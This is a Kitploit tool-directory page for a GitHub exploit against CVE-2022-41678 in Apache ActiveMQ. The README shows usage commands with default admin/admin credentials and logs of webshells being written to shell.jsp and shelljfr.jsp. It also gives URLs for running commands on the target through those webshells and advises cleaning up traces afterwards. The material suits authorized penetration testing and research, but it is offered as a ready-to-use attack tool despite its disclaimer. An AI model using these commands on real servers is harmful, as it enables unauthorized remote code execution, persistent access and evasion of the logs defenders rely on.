Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-41678 — CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置,从而写入恶意的 JSP webshell 到服务器的 web 目录中,最终实现远程代码执行。 | Kitploit
Tools/GitHubGitHub/urjack2025/cve-2022-41678
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHuburjack2025/cve-2022-41678

CVE-2022-41678

CVE-2022-41678 是 Apache ActiveMQ 中的一个远程代码执行漏洞。该漏洞允许攻击者通过 JMX (Java Management Extensions) 接口修改 Log4j 配置或 JFR (Java Flight Recorder) 配置,从而写入恶意的 JSP webshell 到服务器的 web 目录中,最终实现远程代码执行。

View Repository
2211 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Apache ActiveMQ CVE-2022-41678 Exploit Tool

Vulnerability Overview

Reference document: https://app.nextcyber.cn/courses/41/tasks/580

CVE-2022-41678 is a remote code execution vulnerability in Apache ActiveMQ. This vulnerability allows an attacker to modify Log4j configuration or JFR (Java Flight Recorder) configuration through the JMX (Java Management Extensions) interface, thereby writing a malicious JSP webshell to the server's web directory, ultimately achieving remote code execution.

This vulnerability affects multiple versions of Apache ActiveMQ, with the specific affected versions depending on the use of Log4j and JFR configurations.

Requirements

  • Python 3.6 and above
  • Install required dependencies:
    root@kitploit:~
    pip install requests
    
  • The target ActiveMQ server needs to have the JMX interface enabled (usually accessible via the /api/jolokia/ path)
  • The attacker needs to know the username and password of the ActiveMQ console (default is usually admin/admin)

Usage

Basic Usage

Using the default admin/admin credentials and auto-detection of the exploit method:

root@kitploit:~
python exp.py http://target:8161

You can also specify the username and password via -u and -p parameters:

root@kitploit:~
# Using Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161

# Execution result as follows
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config

In addition to the default Log4j exploit method, you can also specify the JFR exploit method using the --exploit jfr parameter.

root@kitploit:~
# Using JFR method
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161

# Execution result as follows
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id

Verify Exploit Result

After successful exploitation, you can execute commands by accessing the following URLs:

root@kitploit:~
# Webshell written via Log4j method
http://target:8161/admin/shell.jsp?cmd=command

# Webshell written via JFR method
http://target:8161/admin/shelljfr.jsp?cmd=command

For example, to execute the id command:

root@kitploit:~
http://target:8161/admin/shell.jsp?cmd=id

Tool Parameters

ParameterAbbreviationTypeDefaultDescription
--username-ustringadminUsername for the ActiveMQ console
--password-pstringadminPassword for the ActiveMQ console
--exploit-estringautoExploit method, optional values: auto, log4j, jfr
url-string-URL address of the target ActiveMQ (required parameter)

Notes

  1. This tool is for security research and authorized testing only. Do not use it on unauthorized systems.
  2. After successful exploitation, the tool will attempt to restore the original Log4j configuration to minimize impact on the target system.
  3. If the target system has network access restrictions, you may need to adjust network configurations to ensure access to the target's JMX interface.
  4. Different versions of ActiveMQ may have different paths and configurations, and you may need to adjust the paths in the tool according to the actual situation.
  5. The tool operates via the JMX interface, which requires the target ActiveMQ to have this interface enabled.
  6. Executing this tool may leave log records on the target system; please clean up relevant traces as necessary.
Download Tool